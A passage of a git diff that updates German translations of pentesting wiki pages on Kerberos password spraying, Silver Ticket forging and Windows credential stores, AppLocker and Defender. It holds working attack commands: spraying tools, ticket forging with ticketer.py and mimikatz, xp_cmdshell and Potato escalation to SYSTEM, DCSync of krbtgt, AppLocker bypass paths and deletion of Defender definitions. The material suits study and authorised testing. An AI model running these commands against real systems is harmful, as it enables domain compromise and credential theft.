Uhr Ihres Hosts vor Kerberos-basierten Operationen mit dem DC synchronisiert ist: `sudo ntpdate `. -- Ein [+] ohne (Pwn3d!) in einigen Modulen (z.B. RDP/WinRM) bedeutet, dass die creds gültig sind, das Konto jedoch keine Rechte für interaktives Anmelden hat. +- Stellen Sie sicher, dass die Systemzeit Ihres Hosts vor Kerberos-basierten Operationen mit dem DC synchronisiert ist: `sudo ntpdate `. +- Ein [+] ohne (Pwn3d!) in einigen Modulen (z. B. RDP/WinRM) bedeutet, dass die creds gültig sind, aber das Konto keine Rechte für interaktives Anmelden besitzt. ## Brute Force ```bash legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org ``` -### Kerberos pre-auth spraying mit LDAP-Targeting und PSO-aware Throttling (SpearSpray) +### Kerberos pre-auth spraying mit LDAP targeting und PSO-aware throttling (SpearSpray) -Kerberos pre-auth–based spraying reduziert das Rauschen gegenüber SMB/NTLM/LDAP-Bind-Versuchen und richtet sich besser nach AD-Lockout-Policies. SpearSpray koppelt LDAP-gesteuertes Targeting, eine Pattern-Engine und Policy-Awareness (domain policy + PSOs + badPwdCount buffer), um präzise und sicher zu sprühen. Es kann außerdem kompromittierte Principals in Neo4j markieren, um Pfade in BloodHound nachzuzeichnen. +Kerberos pre-auth–based spraying reduziert Rauschen im Vergleich zu SMB/NTLM/LDAP bind-Versuchen und passt besser zu AD lockout policies. SpearSpray koppelt LDAP-driven targeting, eine pattern engine und policy awareness (domain policy + PSOs + badPwdCount buffer), um präzise und sicher zu sprayen. Es kann auch kompromittierte principals in Neo4j für BloodHound pathing taggen. Key ideas: -- LDAP user discovery mit Paging und LDAPS-Unterstützung, optional mit benutzerdefinierten LDAP-Filtern. -- Domain lockout policy + PSO-aware Filterung, um einen konfigurierbaren Versuchspuffer (threshold) zu lassen und zu vermeiden, dass Benutzer gesperrt werden. -- Kerberos pre-auth Validierung unter Verwendung schneller gssapi bindings (erzeugt 4768/4771 auf DCs statt 4625). -- Musterbasierte, pro-Benutzer Passwortgenerierung unter Verwendung von Variablen wie Namen und zeitlichen Werten, abgeleitet aus dem pwdLastSet jedes Benutzers. -- Durchsatzkontrolle mit Threads, Jitter und max requests per second. -- Optionale Neo4j-Integration zum Markieren übernommener Benutzer für BloodHound. +- LDAP user discovery mit Paging und LDAPS-Unterstützung, optional mit custom LDAP-Filtern. +- Domain lockout policy + PSO-aware filtering, um einen konfigurierbaren Attempt-Buffer (threshold) zu belassen und Lockouts von Benutzern zu vermeiden. +- Kerberos pre-auth Validation mittels schneller gssapi bindings (erzeugt 4768/4771 auf DCs statt 4625). +- Pattern-basierte, pro-user Passwortgenerierung mit Variablen wie Namen und zeitlichen Werten, abgeleitet aus dem pwdLastSet jedes Benutzers. +- Throughput-Kontrolle mit threads, jitter und max requests pro Sekunde. +- Optionale Neo4j-Integration, um owned users für BloodHound zu markieren. Basic usage and discovery: ```bash @@ -165,7 +165,7 @@ Neo4j/BloodHound Anreicherung: ```bash spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -nu neo4j -np bloodhound --uri bolt://localhost:7687 ``` -Übersicht des Pattern-Systems (patterns.txt): +Übersicht über das Pattern-System (patterns.txt): ```text # Example templates consuming per-user attributes and temporal context {name}{separator}{year}{suffix} @@ -176,15 +176,15 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local ``` Verfügbare Variablen umfassen: - {name}, {samaccountname} -- Zeitbasierte Werte aus pwdLastSet (oder whenCreated) jedes Benutzers: {year}, {short_year}, {month_number}, {month_en}, {season_en} -- Kompositions-Helfer und Org-Token: {separator}, {suffix}, {extra} +- Zeitbezogen aus pwdLastSet (oder whenCreated) jedes Benutzers: {year}, {short_year}, {month_number}, {month_en}, {season_en} +- Kompositionshelfer und Organisations-Token: {separator}, {suffix}, {extra} Betriebliche Hinweise: -- Bevorzuge Abfragen des PDC-emulator mit -dc, um den maßgeblichsten badPwdCount und richtlinienbezogene Informationen zu lesen. -- Resets von badPwdCount werden beim nächsten Versuch nach dem Beobachtungsfenster ausgelöst; nutze Schwellenwerte und Timing, um sicher zu bleiben. -- Kerberos pre-auth attempts sind in der DC-Telemetrie als 4768/4771 sichtbar; verwende Jitter und Rate-Limiting, um dich anzupassen. +- Bevorzugen Sie das Abfragen des PDC-emulators mit -dc, um den autoritativsten badPwdCount und policy-bezogene Informationen auszulesen. +- Resets von badPwdCount werden beim nächsten Versuch nach dem Beobachtungsfenster ausgelöst; verwenden Sie Schwellenwerte und Timing, um sicher zu bleiben. +- Kerberos pre-auth attempts erscheinen als 4768/4771 in DC-Telemetrie; verwenden Sie Jitter und Rate-Limiting, um sich anzupassen. -> Tipp: SpearSpray’s default LDAP page size ist 200; passe bei Bedarf mit -lps an. +> Tipp: SpearSpray’s default LDAP page size is 200; adjust with -lps as needed. ## Outlook Web Access @@ -192,11 +192,11 @@ Es gibt mehrere Tools für p**assword spraying outlook**. - Mit [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/) - Mit [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/) -- Mit [Ruler](https://github.com/sensepost/ruler) (reliable!) +- Mit [Ruler](https://github.com/sensepost/ruler) (zuverlässig!) - Mit [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell) - Mit [MailSniper](https://github.com/dafthack/MailSniper) (Powershell) -Um eines dieser Tools zu verwenden, benötigen Sie eine Benutzerliste und ein Passwort / eine kleine Liste von Passwörtern to spray. +Um eines dieser Tools zu verwenden, benötigen Sie eine Benutzerliste und ein password bzw. eine kleine Liste von passwords, die gesprüht werden sollen. ```bash ./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose [x] Failed: larsson:Summer2020 diff --git a/src/windows-hardening/active-directory-methodology/silver-ticket.md b/src/windows-hardening/active-directory-methodology/silver-ticket.md index f67dd3352..0bf01a110 100644 --- a/src/windows-hardening/active-directory-methodology/silver-ticket.md +++ b/src/windows-hardening/active-directory-methodology/silver-ticket.md @@ -6,15 +6,15 @@ ## Silver ticket -Der **Silver Ticket**-Angriff beinhaltet die Ausnutzung von Service-Tickets in Active Directory (AD)-Umgebungen. Diese Methode basiert darauf, den **NTLM hash of a service account** zu erlangen, etwa eines computer account, um ein Ticket Granting Service (TGS)-Ticket zu fälschen. Mit diesem gefälschten Ticket kann ein Angreifer auf bestimmte Dienste im Netzwerk zugreifen und sich **als beliebiger Benutzer ausgeben**, wobei typischerweise administrative Rechte angestrebt werden. Es wird betont, dass die Verwendung von AES keys zum Fälschen von Tickets sicherer und weniger erkennbar ist. +Der **Silver Ticket**-Angriff beinhaltet die Ausnutzung von Service-Tickets in Active Directory (AD)-Umgebungen. Diese Methode beruht darauf, den **NTLM hash eines service account**, beispielsweise eines computer account, zu erlangen, um ein Ticket Granting Service (TGS)-Ticket zu fälschen. Mit diesem gefälschten Ticket kann ein Angreifer auf bestimmte Dienste im Netzwerk zugreifen und sich als beliebiger Benutzer ausgeben, typischerweise mit dem Ziel administrativer Privilegien. Es wird betont, dass die Verwendung von AES keys zum Fälschen von Tickets sicherer und weniger detektierbar ist. > [!WARNING] -> Silver Tickets are less detectable than Golden Tickets because they only require the **hash of the service account**, not the krbtgt account. However, they are limited to the specific service they target. Moreover, just stealing the password of a user. -> Moreover, if you compromise an **account's password with a SPN** you can use that password to create a Silver Ticket impersonating any user to that service. +> Silver Tickets sind weniger detektierbar als Golden Tickets, weil sie nur den **hash of the service account** benötigen, nicht das krbtgt account. Allerdings sind sie auf den spezifischen Dienst beschränkt, den sie angreifen. Außerdem reicht es, einfach das Passwort eines Benutzers zu stehlen. +> Wenn du das **account's password with a SPN** kompromittierst, kannst du dieses Passwort verwenden, um einen Silver Ticket zu erstellen, der sich gegenüber diesem Dienst als beliebiger Benutzer ausgibt. For ticket crafting, different tools are employed based on the operating system: -### Unter Linux +### On Linux ```bash python ticketer.py -nthash -domain-sid -domain -spn export KRB5CCNAME=/root/impacket-examples/.ccache @@ -37,11 +37,11 @@ mimikatz.exe "kerberos::ptt " # Obtain a shell .\PsExec.exe -accepteula \\ cmd ``` -Der CIFS-Dienst wird als häufiges Ziel hervorgehoben, um auf das Dateisystem des Opfers zuzugreifen, aber andere Dienste wie HOST und RPCSS können ebenfalls für Aufgaben und WMI-Abfragen ausgenutzt werden. +Der CIFS-Dienst wird als häufiges Ziel hervorgehoben, um auf das Dateisystem des Opfers zuzugreifen, aber andere Dienste wie HOST und RPCSS können ebenfalls für Tasks und WMI-Abfragen ausgenutzt werden. ### Beispiel: MSSQL service (MSSQLSvc) + Potato to SYSTEM -Wenn Sie den NTLM-Hash (oder AES key) eines SQL service account (z. B. sqlsvc) haben, können Sie ein TGS für den MSSQL SPN fälschen und sich gegenüber dem SQL service als beliebiger Benutzer ausgeben. Von dort aus aktivieren Sie xp_cmdshell, um Befehle als SQL service account auszuführen. Wenn dieses Token SeImpersonatePrivilege besitzt, nutzen Sie eine Potato, um auf SYSTEM zu erhöhen. +Wenn du den NTLM-Hash (oder AES-Key) eines SQL-Servicekontos (z. B. sqlsvc) hast, kannst du ein TGS für den MSSQL SPN fälschen und dich gegenüber dem SQL-Service als beliebiger Benutzer impersonifizieren. Von dort aus xp_cmdshell aktivieren, um Befehle als das SQL-Servicekonto auszuführen. Wenn dieses Token SeImpersonatePrivilege hat, kannst du eine Potato chainen, um auf SYSTEM zu eskalieren. ```bash # Forge a silver ticket for MSSQLSvc (RC4/NTLM example) python ticketer.py -nthash -domain-sid -domain \ @@ -52,20 +52,20 @@ export KRB5CCNAME=$PWD/administrator.ccache impacket-mssqlclient -k -no-pass /administrator@:1433 \ -q "EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;EXEC xp_cmdshell 'whoami'" ``` -- Wenn der resultierende Kontext SeImpersonatePrivilege hat (oft zutreffend bei service accounts), verwende eine Potato variant, um SYSTEM zu erhalten: +- Wenn der resultierende Kontext SeImpersonatePrivilege hat (oft der Fall bei service accounts), verwende eine Potato-Variante, um SYSTEM zu erhalten: ```bash # On the target host (via xp_cmdshell or interactive), run e.g. PrintSpoofer/GodPotato PrintSpoofer.exe -c "cmd /c whoami" # or GodPotato -cmd "cmd /c whoami" ``` -Mehr Details zum Missbrauch von MSSQL und zum Aktivieren von xp_cmdshell: +Weitere Details zum Missbrauch von MSSQL und zur Aktivierung von xp_cmdshell: {{#ref}} abusing-ad-mssql.md {{#endref}} -Potato techniques Übersicht: +Übersicht der Potato-Techniken: {{#ref}} ../windows-local-privilege-escalation/roguepotato-and-printspoofer.md @@ -73,22 +73,22 @@ Potato techniques Übersicht: ## Verfügbare Dienste -| Diensttyp | Service Silver Tickets | +| Diensttyp | Service Silver Tickets | | ------------------------------------------ | -------------------------------------------------------------------------- | | WMI |

HOST

RPCSS

| -| PowerShell Remoting |

HOST

HTTP

Depending on OS also:

WSMAN

RPCSS

| -| WinRM |

HOST

HTTP

In some occasions you can just ask for: WINRM

| -| Scheduled Tasks | HOST | +| PowerShell Remoting |

HOST

HTTP

Je nach OS auch:

WSMAN

RPCSS

| +| WinRM |

HOST

HTTP

In manchen Fällen können Sie einfach WINRM anfordern

| +| Geplante Tasks | HOST | | Windows File Share, also psexec | CIFS | -| LDAP operations, included DCSync | LDAP | +| LDAP-Operationen, inklusive DCSync | LDAP | | Windows Remote Server Administration Tools |

RPCSS

LDAP

CIFS

| | Golden Tickets | krbtgt | -Using **Rubeus** you may **ask for all** these tickets using the parameter: +Mit **Rubeus** können Sie **alle** diese Tickets mit dem Parameter anfordern: - `/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm` -### Silver tickets Ereignis-IDs +### Silver tickets Event-IDs - 4624: Account Logon - 4634: Account Logoff @@ -96,21 +96,21 @@ Using **Rubeus** you may **ask for all** these tickets using the parameter: ## Persistenz -Damit Maschinen ihre Passwörter nicht alle 30 Tage rotieren, setze `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` oder du kannst `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` auf einen Wert größer als 30 Tage setzen, um den Rotationszeitraum anzugeben. +Um zu verhindern, dass Maschinen ihr Passwort alle 30 Tage ändern, setzen Sie `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` oder Sie können `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` auf einen größeren Wert als 30 Tage setzen, um die Rotationsperiode anzugeben, nach der das Maschinenpasswort geändert werden soll. -## Missbrauch von Service tickets +## Missbrauch von Service-Tickets -In den folgenden Beispielen nehmen wir an, dass das Ticket unter Impersonation des Administrator-Accounts erlangt wurde. +In den folgenden Beispielen nehmen wir an, dass das Ticket durch das Impersonieren des Administrator-Kontos abgerufen wurde. ### CIFS -Mit diesem Ticket kannst du auf die Ordner `C$` und `ADMIN$` über **SMB** zugreifen (falls sie erreichbar sind) und Dateien in Teile des entfernten Dateisystems kopieren, indem du etwa Folgendes ausführst: +Mit diesem Ticket können Sie auf die Ordner `C$` und `ADMIN$` über **SMB** zugreifen (wenn sie freigegeben sind) und Dateien in einen Teil des entfernten Dateisystems kopieren, indem Sie etwas wie Folgendes tun: ```bash dir \\vulnerable.computer\C$ dir \\vulnerable.computer\ADMIN$ copy afile.txt \\vulnerable.computer\C$\Windows\Temp ``` -Sie können außerdem eine Shell auf dem Host erhalten oder beliebige Befehle mit **psexec** ausführen: +Du kannst auch eine Shell auf dem Host erhalten oder beliebige Befehle mit **psexec** ausführen: {{#ref}} @@ -119,7 +119,7 @@ Sie können außerdem eine Shell auf dem Host erhalten oder beliebige Befehle mi ### HOST -Mit dieser Berechtigung können Sie geplante Aufgaben auf entfernten Computern erstellen und beliebige Befehle ausführen: +Mit dieser Berechtigung kannst du auf entfernten Computern geplante Aufgaben erstellen und beliebige Befehle ausführen: ```bash #Check you have permissions to use schtasks over a remote server schtasks /S some.vuln.pc @@ -133,7 +133,7 @@ schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName" ``` ### HOST + RPCSS -Mit diesen Tickets kannst du **WMI im Zielsystem ausführen**: +Mit diesen Tickets kannst du **WMI auf dem Zielsystem ausführen**: ```bash #Check you have enough privileges Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local @@ -143,7 +143,7 @@ Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlis #You can also use wmic wmic remote.computer.local list full /format:list ``` -Finden Sie **mehr Informationen über wmiexec** auf der folgenden Seite: +Auf der folgenden Seite findest du weitere Informationen zu **wmiexec**: {{#ref}} ../lateral-movement/wmiexec.md @@ -151,11 +151,11 @@ Finden Sie **mehr Informationen über wmiexec** auf der folgenden Seite: ### HOST + WSMAN (WINRM) -Mit winrm-Zugriff auf einen Computer können Sie **darauf zugreifen** und sogar eine PowerShell erhalten: +Mit winrm-Zugang zu einem Computer kannst du **auf ihn zugreifen** und sogar eine PowerShell erhalten: ```bash New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC ``` -Schau dir die folgende Seite an, um **weitere Möglichkeiten kennenzulernen, mit winrm eine Verbindung zu einem Remote-Host herzustellen**: +Siehe die folgende Seite, um **weitere Möglichkeiten zu erfahren, wie man sich mit einem entfernten Host über winrm verbindet**: {{#ref}} @@ -163,15 +163,15 @@ Schau dir die folgende Seite an, um **weitere Möglichkeiten kennenzulernen, mit {{#endref}} > [!WARNING] -> Beachte, dass **winrm auf dem Remote-Computer aktiv sein und auf eingehende Verbindungen hören muss**, um darauf zuzugreifen. +> Beachte, dass **winrm auf dem entfernten Computer aktiv sein und lauschen muss**, um darauf zugreifen zu können. ### LDAP -Mit diesem Privileg kannst du die DC-Datenbank mit **DCSync** auslesen: +Mit diesem Recht kannst du die DC-Datenbank mit **DCSync** dumpen: ``` mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt ``` -**Erfahren Sie mehr über DCSync** auf der folgenden Seite: +**Erfahre mehr über DCSync** auf der folgenden Seite: {{#ref}} diff --git a/src/windows-hardening/authentication-credentials-uac-and-efs/README.md b/src/windows-hardening/authentication-credentials-uac-and-efs/README.md index 7b0662c46..d58e69d63 100644 --- a/src/windows-hardening/authentication-credentials-uac-and-efs/README.md +++ b/src/windows-hardening/authentication-credentials-uac-and-efs/README.md @@ -4,14 +4,14 @@ ## AppLocker-Richtlinie -Eine Anwendungs-Whitelist ist eine Liste genehmigter Softwareanwendungen oder ausführbarer Dateien, die auf einem System vorhanden sein dürfen und ausgeführt werden können. Ziel ist es, die Umgebung vor schädlicher Malware und nicht genehmigter Software zu schützen, die nicht den spezifischen geschäftlichen Anforderungen einer Organisation entspricht. +Eine Application-Whitelist ist eine Liste genehmigter Softwareanwendungen oder ausführbarer Dateien, die auf einem System vorhanden sein dürfen und ausgeführt werden können. Ziel ist es, die Umgebung vor schädlicher Malware und nicht genehmigter Software zu schützen, die nicht den spezifischen Geschäftsanforderungen einer Organisation entspricht. -[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) ist Microsofts **Lösung für Application Whitelisting** und gibt Systemadministratoren Kontrolle darüber, **welche Anwendungen und Dateien Benutzer ausführen können**. Es bietet **feingranulare Kontrolle** über ausführbare Dateien, Skripte, Windows-Installer-Dateien, DLLs, verpackte Apps und App-Installer.\ -Es ist üblich, dass Organisationen **cmd.exe und PowerShell.exe blockieren** und Schreibzugriff auf bestimmte Verzeichnisse einschränken, **aber all das kann umgangen werden**. +[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) ist Microsofts **Lösung für Application Whitelisting** und gibt Systemadministratoren die Kontrolle darüber, **welche Anwendungen und Dateien Benutzer ausführen können**. Es bietet **feingranulare Kontrolle** über ausführbare Dateien, Skripte, Windows-Installer-Dateien, DLLs, packaged apps und packed app installers.\ +Es ist üblich, dass Organisationen **cmd.exe und PowerShell.exe** sowie Schreibzugriff auf bestimmte Verzeichnisse blockieren, **aber all das lässt sich umgehen**. -### Prüfen +### Überprüfen -Prüfe, welche Dateien/Erweiterungen auf der Blacklist/Whitelist stehen: +Überprüfe, welche Dateien/Erweiterungen blockiert oder zugelassen sind: ```bash Get-ApplockerPolicy -Effective -xml @@ -20,25 +20,25 @@ Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections $a = Get-ApplockerPolicy -effective $a.rulecollections ``` -Dieser Registry-Pfad enthält die von AppLocker angewendeten Konfigurationen und Richtlinien und ermöglicht so die Überprüfung der aktuell auf dem System durchgesetzten Regeln: +Dieser Registry-Pfad enthält die Konfigurationen und Richtlinien, die von AppLocker angewendet werden, und bietet eine Möglichkeit, die aktuell auf dem System durchgesetzten Regeln zu überprüfen: - `HKLM\Software\Policies\Microsoft\Windows\SrpV2` ### Bypass -- Nützliche **Writable folders** to bypass AppLocker Policy: Wenn AppLocker die Ausführung von Dateien innerhalb von `C:\Windows\System32` oder `C:\Windows` erlaubt, gibt es **writable folders**, die du verwenden kannst, um **bypass this**. +- Nützliche **Writable folders** zum Umgehen der AppLocker Policy: Wenn AppLocker die Ausführung von beliebigen Dateien innerhalb von `C:\Windows\System32` oder `C:\Windows` erlaubt, gibt es **writable folders**, die du verwenden kannst, um dies zu **bypass**. ``` C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys C:\Windows\System32\spool\drivers\color C:\Windows\Tasks C:\windows\tracing ``` -- Häufig als **vertrauenswürdig** angesehene [**"LOLBAS's"**] Binaries können ebenfalls nützlich sein, um AppLocker zu umgehen. +- Häufig **vertrauenswürdige** [**"LOLBAS's"**](https://lolbas-project.github.io/) Binärdateien können ebenfalls nützlich sein, um AppLocker zu umgehen. - **Schlecht geschriebene Regeln können ebenfalls umgangen werden** -- Zum Beispiel bei **``**, kann man überall einen **Ordner namens `allowed`** erstellen und er wird erlaubt. -- Organisationen konzentrieren sich oft darauf, die ausführbare Datei **`%System32%\WindowsPowerShell\v1.0\powershell.exe`** zu blockieren, vergessen jedoch die **anderen** [**PowerShell executable locations**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) wie `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` oder `PowerShell_ISE.exe`. -- **DLL enforcement** ist aufgrund der zusätzlichen Last, die es auf ein System bringen kann, und des notwendigen Testaufwands sehr selten aktiviert. Daher hilft die Nutzung von **DLLs as backdoors**, AppLocker zu umgehen. -- Du kannst [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) oder [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) verwenden, um **Powershell**-Code in jedem Prozess auszuführen und AppLocker zu umgehen. Für mehr Infos siehe: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode). +- Zum Beispiel, **``**, Sie können überall einen **Ordner namens `allowed`** erstellen und er wird erlaubt. +- Organisationen konzentrieren sich oft darauf, **`%System32%\WindowsPowerShell\v1.0\powershell.exe`** zu blockieren, vergessen aber die **anderen** [**PowerShell executable locations**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) wie `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` oder `PowerShell_ISE.exe`. +- **DLL enforcement** wird sehr selten aktiviert, weil es zusätzliche Last für ein System bedeuten kann und umfangreiche Tests nötig sind, um sicherzustellen, dass nichts kaputtgeht. Daher hilft die Nutzung von **DLLs als backdoors**, AppLocker zu umgehen. +- Sie können [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) oder [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) verwenden, um **execute Powershell** code in einem beliebigen Prozess auszuführen und AppLocker zu umgehen. Für mehr Informationen siehe: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode). ## Speicherung von Anmeldeinformationen @@ -48,20 +48,20 @@ Lokale Anmeldeinformationen befinden sich in dieser Datei, die Passwörter sind ### Local Security Authority (LSA) - LSASS -Die **Anmeldeinformationen** (gehasht) werden im **Speicher** dieses Subsystems aus Gründen des Single Sign-On gespeichert.\ -**LSA** verwaltet die lokale **Sicherheitsrichtlinie** (Passwortrichtlinie, Benutzerrechte...), **Authentifizierung**, **access tokens**...\ -Die LSA ist die Komponente, die die bereitgestellten Anmeldeinformationen in der **SAM**-Datei (bei einer lokalen Anmeldung) **prüft** und mit dem **domain controller** kommuniziert, um einen Domänenbenutzer zu authentifizieren. +Die **Anmeldeinformationen** (gehasht) werden im **Speicher** dieses Subsystems aus Gründen des Single Sign-On abgelegt.\ +**LSA** verwaltet die lokale **Sicherheitsrichtlinie** (Passwortrichtlinie, Benutzerberechtigungen...), **Authentifizierung**, **Access Tokens**...\ +LSA wird die Komponente sein, die die bereitgestellten Anmeldeinformationen in der **SAM**-Datei prüft (bei einer lokalen Anmeldung) und mit dem **Domain Controller** spricht, um einen Domänenbenutzer zu authentifizieren. Die **Anmeldeinformationen** werden im **Prozess LSASS** gespeichert: Kerberos-Tickets, NT- und LM-Hashes, leicht entschlüsselbare Passwörter. -### LSA secrets +### LSA-Secrets LSA kann einige Anmeldeinformationen auf der Festplatte speichern: -- Passwort des Computerkontos im Active Directory (domain controller nicht erreichbar). -- Passwörter der Konten von Windows-Diensten -- Passwörter für geplante Aufgaben -- Mehr (Passwort von IIS-Anwendungen...) +- Passwort des Computerkontos im Active Directory (z. B. wenn der Domain Controller nicht erreichbar ist). +- Passwörter von Dienstkonten von Windows Services +- Passwörter für geplante Tasks +- Mehr (Passwörter von IIS-Anwendungen...) ### NTDS.dit @@ -71,9 +71,9 @@ Es ist die Datenbank des Active Directory. Sie ist nur auf Domain Controllern vo [**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) ist ein Antivirus, der in Windows 10 und Windows 11 sowie in Versionen von Windows Server verfügbar ist. Er **blockiert** gängige pentesting-Tools wie **`WinPEAS`**. Es gibt jedoch Wege, diese Schutzmaßnahmen zu **umgehen**. -### Check +### Überprüfen -Um den **Status** von **Defender** zu überprüfen, kannst du das PS-Cmdlet **`Get-MpComputerStatus`** ausführen (prüfe den Wert von **`RealTimeProtectionEnabled`**, um zu wissen, ob es aktiv ist): +Um den **Status** von **Defender** zu prüfen, können Sie das PS-Cmdlet **`Get-MpComputerStatus`** ausführen (prüfen Sie den Wert von **`RealTimeProtectionEnabled`**, um zu wissen, ob es aktiv ist): 
PS C:\> Get-MpComputerStatus
 
@@ -92,7 +92,7 @@ NISEngineVersion                : 0.0.0.0
 PSComputerName                  :
-Um es zu enumerieren, könntest du auch ausführen: +Zur Aufzählung können Sie auch ausführen: ```bash WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List wmic /namespace:\\root\securitycenter2 path antivirusproduct @@ -101,36 +101,36 @@ sc query windefend #Delete all rules of Defender (useful for machines without internet access) "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All ``` -## Encrypted File System (EFS) +## Verschlüsseltes Dateisystem (EFS) -EFS sichert Dateien durch Verschlüsselung und verwendet einen **symmetrischen Schlüssel**, bekannt als **File Encryption Key (FEK)**. Dieser Schlüssel wird mit dem **öffentlichen Schlüssel** des Benutzers verschlüsselt und im $EFS **alternative data stream** der verschlüsselten Datei gespeichert. Wenn eine Entschlüsselung erforderlich ist, wird der entsprechende **private Schlüssel** des digitalen Zertifikats des Benutzers verwendet, um den FEK aus dem $EFS-Stream zu entschlüsseln. Mehr Details sind [hier](https://en.wikipedia.org/wiki/Encrypting_File_System) zu finden. +EFS sichert Dateien durch Verschlüsselung unter Verwendung eines **symmetrischen Schlüssels**, bekannt als **File Encryption Key (FEK)**. Dieser Schlüssel wird mit dem **öffentlichen Schlüssel** des Benutzers verschlüsselt und im verschlüsselten Datei-$EFS **alternate data stream** gespeichert. Wenn eine Entschlüsselung erforderlich ist, wird der zugehörige **private key** des digitalen Zertifikats des Benutzers verwendet, um den FEK aus dem $EFS-Stream zu entschlüsseln. Mehr Details finden sich [hier](https://en.wikipedia.org/wiki/Encrypting_File_System). -**Entschlüsselungsszenarien ohne Benutzereingriff** umfassen: +**Entschlüsselungsszenarien ohne Benutzerinitiation** umfassen: -- Wenn Dateien oder Ordner auf ein nicht-EFS-Dateisystem verschoben werden, wie [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), werden sie automatisch entschlüsselt. -- Verschlüsselte Dateien, die über das Netzwerk via SMB/CIFS übertragen werden, werden vor der Übertragung entschlüsselt. +- Wenn Dateien oder Ordner in ein nicht-EFS-Dateisystem verschoben werden, wie [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), werden sie automatisch entschlüsselt. +- Verschlüsselte Dateien, die über das Netzwerk via SMB/CIFS-Protokoll gesendet werden, werden vor der Übertragung entschlüsselt. -Diese Verschlüsselungsmethode erlaubt dem Besitzer **transparenten Zugriff** auf verschlüsselte Dateien. Allerdings reicht es nicht aus, einfach das Passwort des Besitzers zu ändern und sich anzumelden, um die Dateien zu entschlüsseln. +Diese Verschlüsselungsmethode erlaubt dem **Eigentümer** einen **transparenten Zugriff** auf verschlüsselte Dateien. Allerdings ermöglicht alleiniges Ändern des Benutzerpassworts und erneutes Anmelden keine Entschlüsselung. -**Wichtige Erkenntnisse**: +**Wichtigste Punkte**: -- EFS verwendet einen symmetrischen FEK, der mit dem öffentlichen Schlüssel des Benutzers verschlüsselt ist. -- Die Entschlüsselung verwendet den privaten Schlüssel des Benutzers, um auf den FEK zuzugreifen. -- Automatische Entschlüsselung tritt unter bestimmten Bedingungen auf, z. B. beim Kopieren auf FAT32 oder bei Netzwerkübertragung. -- Verschlüsselte Dateien sind für den Besitzer ohne zusätzliche Schritte zugänglich. +- EFS verwendet einen symmetrischen FEK, der mit dem öffentlichen Schlüssel des Benutzers verschlüsselt wird. +- Zur Entschlüsselung wird der private Schlüssel des Benutzers verwendet, um auf den FEK zuzugreifen. +- Automatische Entschlüsselung erfolgt unter bestimmten Bedingungen, z. B. beim Kopieren auf FAT32 oder bei Netzwerkübertragung. +- Verschlüsselte Dateien sind für den Eigentümer ohne zusätzliche Schritte zugänglich. ### Check EFS info -Prüfe, ob ein **Benutzer** diesen **Dienst** verwendet hat, indem du prüfst, ob folgender Pfad existiert: `C:\users\\appdata\roaming\Microsoft\Protect` +Überprüfe, ob ein **Benutzer** diesen **Dienst** verwendet hat, indem du prüfst, ob folgender Pfad existiert: `C:\users\\appdata\roaming\Microsoft\Protect` -Überprüfe, **wer** Zugriff auf die Datei hat, mit cipher /c \ +Prüfe **wer** Zugriff auf die Datei hat mit `cipher /c \\` Du kannst auch `cipher /e` und `cipher /d` in einem Ordner verwenden, um alle Dateien zu **verschlüsseln** bzw. **entschlüsseln**. ### Decrypting EFS files #### Being Authority System -Dieser Weg setzt voraus, dass der **Opferbenutzer** einen **Prozess** auf dem Host ausführt. Falls das der Fall ist, kannst du mit einer `meterpreter`-Session den Token des Benutzerprozesses impersonieren (`impersonate_token` von `incognito`). Oder du könntest einfach in den Prozess des Benutzers `migrate`. +Dieser Weg erfordert, dass der Opfer-Benutzer einen Prozess auf dem Host ausführt. Falls das der 